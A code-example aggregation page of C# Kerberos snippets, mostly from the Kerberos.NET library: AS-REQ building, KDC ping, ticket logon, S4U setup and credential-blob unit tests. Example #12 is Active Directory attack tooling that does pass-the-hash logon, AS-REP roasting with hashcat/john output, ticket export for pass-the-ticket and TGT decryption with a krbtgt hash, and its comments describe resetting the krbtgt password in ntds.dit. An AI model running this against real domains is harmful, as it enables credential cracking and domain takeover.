コード例 #1
0
        public static KrbAsReq CreateAsReq(KerberosCredential credential, AuthenticationOptions options)
        {
            var kdcOptions = (KdcOptions)(options & ~AuthenticationOptions.AllAuthentication);

            var hostAddress = Environment.MachineName;

            var pacRequest = new KrbPaPacRequest
            {
                IncludePac = options.HasFlag(AuthenticationOptions.IncludePacRequest)
            };

            var padata = new List <KrbPaData>()
            {
                new KrbPaData
                {
                    Type  = PaDataType.PA_PAC_REQUEST,
                    Value = pacRequest.Encode()
                }
            };

            var asreq = new KrbAsReq()
            {
                MessageType = MessageType.KRB_AS_REQ,
                Body        = new KrbKdcReqBody
                {
                    Addresses = new[] {
                        new KrbHostAddress {
                            AddressType = AddressType.NetBios,
                            Address     = Encoding.ASCII.GetBytes(hostAddress.PadRight(16, ' '))
                        }
                    },
                    CName = KrbPrincipalName.FromString(
                        credential.UserName,
                        PrincipalNameType.NT_ENTERPRISE,
                        credential.Domain
                        ),
                    EType      = KerberosConstants.ETypes.ToArray(),
                    KdcOptions = kdcOptions,
                    Nonce      = KerberosConstants.GetNonce(),
                    RTime      = KerberosConstants.EndOfTime,
                    Realm      = credential.Domain,
                    SName      = new KrbPrincipalName
                    {
                        Type = PrincipalNameType.NT_SRV_INST,
                        Name = new[] { "krbtgt", credential.Domain }
                    },
                    Till = KerberosConstants.EndOfTime
                },
                PaData = padata.ToArray()
            };

            if (options.HasFlag(AuthenticationOptions.PreAuthenticate))
            {
                credential.TransformKdcReq(asreq);
            }

            return(asreq);
        }
コード例 #2
0
ファイル: KrbAsReq.cs プロジェクト: dotnet/Kerberos.NET
        public static KrbAsReq CreateAsReq(KerberosCredential credential, AuthenticationOptions options)
        {
            if (credential == null)
            {
                throw new ArgumentNullException(nameof(credential));
            }

            var config = credential.Configuration ?? Krb5Config.Default();

            var kdcOptions = (KdcOptions)(options & ~AuthenticationOptions.AllAuthentication);

            var pacRequest = new KrbPaPacRequest
            {
                IncludePac = options.HasFlag(AuthenticationOptions.IncludePacRequest)
            };

            var padata = new List <KrbPaData>()
            {
                new KrbPaData
                {
                    Type  = PaDataType.PA_PAC_REQUEST,
                    Value = pacRequest.Encode()
                }
            };

            var asreq = new KrbAsReq()
            {
                Body = new KrbKdcReqBody
                {
                    Addresses  = IncludeAddresses(config),
                    CName      = ExtractCName(credential),
                    EType      = GetPreferredETypes(config.Defaults.DefaultTicketEncTypes, config.Defaults.AllowWeakCrypto).ToArray(),
                    KdcOptions = kdcOptions,
                    Nonce      = GetNonce(),
                    RTime      = CalculateRenewTime(kdcOptions, config),
                    Realm      = credential.Domain,
                    SName      = new KrbPrincipalName
                    {
                        Type = PrincipalNameType.NT_SRV_INST,
                        Name = new[] { "krbtgt", credential.Domain }
                    },
                    Till = CalculateExpirationTime(config)
                },
                PaData = padata.ToArray()
            };

            if (options.HasFlag(AuthenticationOptions.PreAuthenticate))
            {
                credential.TransformKdcReq(asreq);
            }

            return(asreq);
        }
コード例 #3
0
ファイル: KrbAsReq.cs プロジェクト: watfordgnf/Kerberos.NET
        private static KrbPrincipalName ExtractCName(KerberosCredential credential)
        {
            var principalName = KrbPrincipalName.FromString(credential.UserName);

            if (principalName.IsServiceName)
            {
                return(principalName);
            }

            return(KrbPrincipalName.FromString(
                       credential.UserName,
                       PrincipalNameType.NT_ENTERPRISE,
                       credential.Domain
                       ));
        }
コード例 #4
0
        public void KerberosCredential_W2k3_Vector1()
        {
            byte[] blob       = "030000000200000030003000500000000000000000000000030000000800000080000000000000000000000001000000080000008800000000000000000000000000000000000000000000000000000043004f004e0054004f0053004f002e0043004f004d00410064006d0069006e006900730074007200610074006f007200aed02c52204ca2ceaed02c52204ca2ce00000000000000000000000000000000".HexToBinary();
            var    credential = new KerberosCredential(blob);

            // Check that the structure has been parsed correctly.
            Assert.AreEqual("CONTOSO.COMAdministrator", credential.DefaultSalt);
            Assert.AreEqual(2, credential.Credentials.Length);
            Assert.AreEqual(KerberosKeyType.DES_CBC_MD5, credential.Credentials[0].KeyType);

            // Serialize the structure
            byte[] newBlob = credential.ToByteArray();

            // Note that we are not expecting binary equality, because Windows Server 2003 used to add some redundand padding to the end of the structure.
            Assert.AreEqual(blob.Length - 20, newBlob.Length);
        }
コード例 #5
0
        public void KerberosCredential_W2k3_Vector2()
        {
            byte[] blob       = "03000000020002004a004a007800000000000000000000000300000008000000c200000000000000000000000100000008000000ca00000000000000000000000300000008000000d200000000000000000000000100000008000000da00000000000000000000000000000000000000000000000000000043004f004e0054004f0053004f002e0043004f004d0068006f0073007400770069006e0032006b00330072003200650065002e0063006f006e0074006f0073006f002e0063006f006d00d9b33eb064e385dfd9b33eb064e385dff191e9a7b561525df191e9a7b561525d00000000000000000000000000000000".HexToBinary();
            var    credential = new KerberosCredential(blob);

            // Check that the structure has been parsed correctly.
            Assert.AreEqual("CONTOSO.COMhostwin2k3r2ee.contoso.com", credential.DefaultSalt);
            Assert.AreEqual(2, credential.Credentials.Length);
            Assert.AreEqual(KerberosKeyType.DES_CBC_MD5, credential.Credentials[0].KeyType);
            Assert.AreEqual(2, credential.OldCredentials.Length);

            // Serialize the structure
            byte[] newBlob = credential.ToByteArray();

            // Note that we are not expecting binary equality, because Windows Server 2003 used to add some redundand padding to the end of the structure.
            Assert.AreEqual(blob.Length - 20, newBlob.Length);
        }
コード例 #6
0
        public void KerberosCredential_Vector1()
        {
            byte[] blob       = "0300000001000000200020003800000000000000000000000300000008000000580000000000000000000000000000000000000000000000410044004100540055004d002e0043004f004d0075007300650072003000320013f8fd37d557a401".HexToBinary();
            var    credential = new KerberosCredential(blob);

            // Serialize the structure
            byte[] newBlob = credential.ToByteArray();

            // Try to parse it again
            var newCredential = new KerberosCredential(newBlob);

            // Check that we have the same key material
            Assert.AreEqual(credential.DefaultSalt, newCredential.DefaultSalt);
            Assert.AreEqual(credential.Credentials[0].ToString(), newCredential.Credentials[0].ToString());

            // Check binary equality
            Assert.AreEqual(blob.ToHex(), newBlob.ToHex());
        }
コード例 #7
0
        public void KerberosCredential_Vector3()
        {
            byte[] blob       = "0300000001000100400040004c000000000000000000000003000000080000008c00000000000000000000000300000008000000940000000000000000000000000000000000000000000000410044004100540055004d002e0043004f004d0068006f00730074006c006f006e002d006400630031002e00610064006100740075006d002e0063006f006d007091ce8545613d31a4cd57ea0b3d404a".HexToBinary();
            var    credential = new KerberosCredential(blob);

            // Serialize the structure
            byte[] newBlob = credential.ToByteArray();

            // Try to parse it again
            var newCredential = new KerberosCredential(newBlob);

            // Check that we have the same key material
            Assert.AreEqual(credential.DefaultSalt, newCredential.DefaultSalt);
            Assert.AreEqual(credential.Credentials[0].ToString(), newCredential.Credentials[0].ToString());

            // Check binary equality
            Assert.AreEqual(blob.ToHex(), newBlob.ToHex());
        }
コード例 #8
0
        public static async Task <PingResult> Ping(KerberosCredential credential, Krb5Config config, ILoggerFactory logger = null)
        {
            credential.Configuration = config;

            var asReqMessage = KrbAsReq.CreateAsReq(credential, AuthenticationOptions.Renewable);

            var asReq = asReqMessage.EncodeApplication();

            var transport = new KerberosTransportSelector(
                new IKerberosTransport[]
            {
                new TcpKerberosTransport(logger),
                new UdpKerberosTransport(logger),
                new HttpsKerberosTransport(logger)
            },
                config,
                logger
                )
            {
                ConnectTimeout = TimeSpan.FromSeconds(5)
            };

            var result = new PingResult {
                AsReq = asReqMessage
            };

            try
            {
                result.AsRep = await transport.SendMessage <KrbAsRep>(credential.Domain, asReq);
            }
            catch (KerberosProtocolException pex)
            {
                result.Error = pex.Error;
            }

            return(result);
        }
コード例 #9
0
ファイル: KrbAsReq.cs プロジェクト: attackgithub/Kerberos.NET
        public static KrbAsReq CreateAsReq(KerberosCredential credential, AuthenticationOptions options)
        {
            var kdcOptions = (KdcOptions)(options & ~AuthenticationOptions.AllAuthentication);

            var hostAddress = Environment.MachineName;

            var padata = new List <KrbPaData>()
            {
                new KrbPaData
                {
                    Type  = PaDataType.PA_PAC_REQUEST,
                    Value = new KrbPaPacRequest
                    {
                        IncludePac = options.HasFlag(AuthenticationOptions.IncludePacRequest)
                    }.Encode().AsMemory()
                }
            };

            if (options.HasFlag(AuthenticationOptions.PreAuthenticate))
            {
                KerberosConstants.Now(out DateTimeOffset timestamp, out int usec);

                var ts = new KrbPaEncTsEnc
                {
                    PaTimestamp = timestamp,
                    PaUSec      = usec
                };

                var tsEncoded = ts.Encode().AsMemory();

                KrbEncryptedData encData = KrbEncryptedData.Encrypt(
                    tsEncoded,
                    credential.CreateKey(),
                    KeyUsage.PaEncTs
                    );

                padata.Add(new KrbPaData
                {
                    Type  = PaDataType.PA_ENC_TIMESTAMP,
                    Value = encData.Encode().AsMemory()
                });
            }

            var asreq = new KrbAsReq()
            {
                MessageType = MessageType.KRB_AS_REQ,
                Body        = new KrbKdcReqBody
                {
                    Addresses = new[] {
                        new KrbHostAddress {
                            AddressType = AddressType.NetBios,
                            Address     = Encoding.ASCII.GetBytes(hostAddress.PadRight(16, ' '))
                        }
                    },
                    CName = new KrbPrincipalName
                    {
                        Name = new[] { $"{credential.UserName}@{credential.Domain}" },
                        Type = PrincipalNameType.NT_ENTERPRISE
                    },
                    EType      = KerberosConstants.ETypes.ToArray(),
                    KdcOptions = kdcOptions,
                    Nonce      = KerberosConstants.GetNonce(),
                    RTime      = KerberosConstants.EndOfTime,
                    Realm      = credential.Domain,
                    SName      = new KrbPrincipalName
                    {
                        Type = PrincipalNameType.NT_SRV_INST,
                        Name = new[] { "krbtgt", credential.Domain }
                    },
                    Till = KerberosConstants.EndOfTime
                },
                PaData = padata.ToArray()
            };

            return(asreq);
        }
コード例 #10
0
 /// <summary>
 /// Logon user using Kerberos Ticket.
 /// </summary>
 /// <param name="type">The type of logon token.</param>
 /// <param name="service_ticket">The service ticket.</param>
 /// <param name="tgt_ticket">Optional TGT.</param>
 /// <returns>The logged on token.</returns>
 public static NtToken LsaLogonTicket(SecurityLogonType type, KerberosTicket service_ticket, KerberosCredential tgt_ticket)
 {
     return(LsaLogonTicket(type, service_ticket, tgt_ticket, true).Result);
 }
コード例 #11
0
        /// <summary>
        /// Logon user using Kerberos Ticket.
        /// </summary>
        /// <param name="type">The type of logon token.</param>
        /// <param name="service_ticket">The service ticket.</param>
        /// <param name="tgt_ticket">Optional TGT.</param>
        /// <param name="throw_on_error">True to throw on error.</param>
        /// <returns>The logged on token.</returns>
        public static NtResult <NtToken> LsaLogonTicket(SecurityLogonType type, KerberosTicket service_ticket, KerberosCredential tgt_ticket, bool throw_on_error)
        {
            if (service_ticket is null)
            {
                throw new ArgumentNullException(nameof(service_ticket));
            }

            return(LsaLogonTicket(type, service_ticket.TicketData, tgt_ticket?.ToArray(), throw_on_error));
        }
コード例 #12
0
        //askTGT
        public static async System.Threading.Tasks.Task <KrbAsRep> askTGT(string kdc,
                                                                          ILoggerFactory logger,
                                                                          TcpKerberosTransport transport,
                                                                          string username,
                                                                          string password,
                                                                          string domainName,
                                                                          bool outKirbi           = false,
                                                                          bool verbose            = false,
                                                                          string format           = "hashcat",
                                                                          bool asreproast         = false,
                                                                          bool ptt                = false,
                                                                          string hash             = null,
                                                                          EncryptionType etype    = EncryptionType.RC4_HMAC_NT,
                                                                          bool outfile            = false,
                                                                          string tgtHash          = null,
                                                                          EncryptionType tgtEtype = EncryptionType.AES256_CTS_HMAC_SHA1_96
                                                                          )
        {
            var now = DateTime.Now;

            Console.WriteLine("[*] Starting Kerberos Authentication ...");

            if (password != null)
            {
                cred = new KerberosPasswordCredential(username, password, domainName);
            }
            else
            {
                cred = new Utils.KerberosHashCreds(username, hash, etype, domainName);
            }

            credKey = cred.CreateKey();

            //Pre-Auth
            KrbAsReq asReqMessage             = null;
            KrbAsRep asRep                    = null;
            bool     notPreauth               = true;
            AuthenticationOptions authOptions =
                AuthenticationOptions.IncludePacRequest |
                AuthenticationOptions.RenewableOk |
                AuthenticationOptions.Canonicalize |
                AuthenticationOptions.Renewable |
                AuthenticationOptions.Forwardable;
            int authAttempt = 0;

            while (notPreauth)
            {
                authAttempt += 1;

                try
                {
                    Console.WriteLine("[*] Sending AS-REQ ...");

                    var kdcOptions = (KdcOptions)(authOptions & ~AuthenticationOptions.AllAuthentication);

                    var hostAddress = Environment.MachineName;

                    var pacRequest = new KrbPaPacRequest
                    {
                        IncludePac = authOptions.HasFlag(AuthenticationOptions.IncludePacRequest)
                    };

                    var padata = new List <KrbPaData>()
                    {
                        new KrbPaData
                        {
                            Type  = PaDataType.PA_PAC_REQUEST,
                            Value = pacRequest.Encode()
                        }
                    };


                    asReqMessage = new KrbAsReq()
                    {
                        Body = new KrbKdcReqBody
                        {
                            Addresses = new[]
                            {
                                new KrbHostAddress
                                {
                                    AddressType = AddressType.NetBios,
                                    Address     = Encoding.ASCII.GetBytes(hostAddress.PadRight(16, ' '))
                                }
                            },
                            CName = new KrbPrincipalName()
                            {
                                Type = PrincipalNameType.NT_PRINCIPAL,
                                Name = new[] { username }// + "@" + domainName.ToUpper() }
                            },
                            //KrbPrincipalName.FromString(
                            //    username,
                            //   PrincipalNameType.NT_ENTERPRISE,
                            //    domainName
                            //),
                            EType      = KrbConstants.KerberosConstants.ETypes.ToArray(),//kdcReqEtype,
                            KdcOptions = kdcOptions,
                            Nonce      = KrbConstants.KerberosConstants.GetNonce(),
                            RTime      = KrbConstants.KerberosConstants.EndOfTime,
                            Realm      = credKey.PrincipalName.Realm,
                            SName      = new KrbPrincipalName
                            {
                                Type = PrincipalNameType.NT_SRV_INST,
                                Name = new[] { "krbtgt", credKey.PrincipalName.Realm }
                            },
                            Till = KrbConstants.KerberosConstants.EndOfTime
                        },
                        PaData = padata.ToArray()
                    };

                    if (authOptions.HasFlag(AuthenticationOptions.PreAuthenticate))
                    {
                        var ts = new KrbPaEncTsEnc()
                        {
                            PaTimestamp = now,
                            PaUSec      = now.Millisecond,
                        };

                        var tsEncoded = ts.Encode();

                        var padataAs = asReqMessage.PaData.ToList();

                        KrbEncryptedData encData = KrbEncryptedData.Encrypt(
                            tsEncoded,
                            credKey,
                            KeyUsage.PaEncTs
                            );

                        padataAs.Add(new KrbPaData
                        {
                            Type  = PaDataType.PA_ENC_TIMESTAMP,
                            Value = encData.Encode()
                        });

                        asReqMessage.PaData = padataAs.ToArray();
                    }

                    //AS-Req Part
                    if (verbose)
                    {
                        PrintFunc.PrintReq(asReqMessage, credKey);
                    }

                    var asReq = asReqMessage.EncodeApplication();

                    asRep = await transport.SendMessage <KrbAsRep>(
                        domainName,
                        asReq,
                        default(CancellationToken));
                }
                catch (KerberosProtocolException pex)
                {
                    Console.WriteLine("[x] Kerberos Error: {0}", pex.Message);

                    if (pex?.Error?.ErrorCode == KerberosErrorCode.KDC_ERR_PREAUTH_REQUIRED)
                    {
                        if (asreproast)
                        {
                            Console.WriteLine("[x] Sorry the provided user requires PreAuth.\n");
                            Environment.Exit(0);
                        }
                        else
                        {
                            //Salt issue for RID 500 Built-in admin account
                            //https://github.com/dotnet/Kerberos.NET/issues/164
                            if (password != null)
                            {
                                cred = new KerberosPasswordCredential(username, password, domainName);
                            }
                            else
                            {
                                cred = new Utils.KerberosHashCreds(username, hash, etype, domainName);
                            }

                            cred.IncludePreAuthenticationHints(pex?.Error?.DecodePreAuthentication());
                            credKey = cred.CreateKey();

                            authOptions |= AuthenticationOptions.PreAuthenticate;
                            Console.WriteLine("[*] Adding encrypted timestamp ...");
                        }
                    }
                    else if (pex?.Error?.ErrorCode == KerberosErrorCode.KDC_ERR_PREAUTH_FAILED)
                    {
                        Console.WriteLine("[x] Invalid Credential! Authentication Stopped ...\n");
                        Environment.Exit(0);
                    }
                    else
                    {
                        Console.WriteLine("[x] Authentication Stopped ...\n");
                        Environment.Exit(0);
                    }
                }
                if (authAttempt == 2 || asreproast)
                {
                    notPreauth = false;
                }
            }

            Console.WriteLine("[*] Receiving AS-REP...");

            if (asreproast)
            {
                //Asreproasting
                string repHash = BitConverter.ToString(asRep.EncPart.Cipher.ToArray()).Replace("-", string.Empty);
                repHash = repHash.Insert(32, "$");

                string hashString = "";
                if (format == "john")
                {
                    hashString = String.Format("$krb5asrep${0}@{1}:{2}", username, domainName, repHash);
                    Console.WriteLine("[+] ASREPRoasting Hash: {0}", hashString);
                }
                else
                {
                    hashString = String.Format("$krb5asrep$23${0}@{1}:{2}", username, domainName, repHash);
                    Console.WriteLine("[+] ASREPRoasting Hash: {0}", hashString);
                }
            }
            else
            {
                try
                {
                    KrbEncAsRepPart asDecryptedRepPart = cred.DecryptKdcRep(
                        asRep,
                        KeyUsage.EncAsRepPart,
                        d => KrbEncAsRepPart.DecodeApplication(d));

                    if (verbose)
                    {
                        //AS-Rep Part
                        PrintFunc.PrintRep(asRep, credKey);

                        if (authOptions.HasFlag(AuthenticationOptions.PreAuthenticate))
                        {
                            Console.WriteLine("    * [Decrypted Enc-Part]:");

                            PrintFunc.PrintRepEnc(asDecryptedRepPart, credKey);


                            ////////////////////////////////////////decrypt TGT
                            //// net stop ntds
                            //// $key =Get-BootKey -Online
                            //// $cred =  ConvertTo-SecureString -String "krbtgt" -AsPlainText -Force
                            //// Set-ADDBAccountPassword -SamAccountName krbtgt -NewPassword $cred -DatabasePath C:\Windows\NTDS\ntds.dit -BootKey $key
                            //// net start ntds

                            ////KeyTable keytab = new KeyTable(System.IO.File.ReadAllBytes("C:\\Users\\Public\\krbtgt.keytab"));
                            ////var krbtgtkey = keytab.GetKey(EncryptionType.AES256_CTS_HMAC_SHA1_96, asRep.Ticket.SName);
                            ///

                            if (!string.IsNullOrEmpty(tgtHash))
                            {
                                var krbtgtCred = new Utils.KerberosHashCreds("krbtgt", tgtHash, tgtEtype);

                                //TGS - REQ Ticket Enc-Part
                                var ticketDecrypted = asRep.Ticket.EncryptedPart.Decrypt
                                                          (krbtgtCred.CreateKey(),
                                                          KeyUsage.Ticket,
                                                          b => KrbEncTicketPart.DecodeApplication(b));
                                Console.WriteLine("   * [Decrypted TGT]:");
                                PrintFunc.PrintTicketEnc(ticketDecrypted);
                                //Encrypt the ticket again
                                asRep.Ticket.EncryptedPart = KrbEncryptedData.Encrypt(ticketDecrypted.EncodeApplication(),
                                                                                      krbtgtCred.CreateKey(), KeyUsage.Ticket);
                            }

                            //////////////////////////////////////TGT
                        }
                    }

                    if (outKirbi || outfile)
                    {
                        var kirbiTGT = Kirbi.toKirbi(asRep, asDecryptedRepPart, ptt);
                        if (outKirbi)
                        {
                            Console.WriteLine("[+] TGT Kirbi:");
                            Console.WriteLine("    - {0}", Convert.ToBase64String(kirbiTGT));
                        }
                        if (outfile)
                        {
                            Utils.Utils.WriteBytesToFile(Utils.Utils.MakeTicketFileName(username), kirbiTGT);
                        }
                    }
                }
                catch (Exception e)
                {
                    Console.WriteLine("[x] {0}. Unable to decrypt the ticket, provided credential is invalid. (Check the ticket etype if you want to decrypt it)\n", e.Message);
                    //Environment.Exit(0);
                }
            }



            return((KrbAsRep)asRep);
        }
コード例 #13
0
 public S4UProvider(KerberosClient client, KerberosCredential credential, DecryptedKrbApReq krbApReq)
 {
     this.client     = client;
     this.credential = credential;
     this.krbApReq   = krbApReq;
 }
コード例 #14
0
 public S4UProviderFactory(string upn, KeyTable keytab, Krb5Config config = null, ILoggerFactory logger = null)
 {
     this.client = new KerberosClient(config, logger) { CacheInMemory = true };
     this.credential = new KeytabCredential(upn, keytab);
 }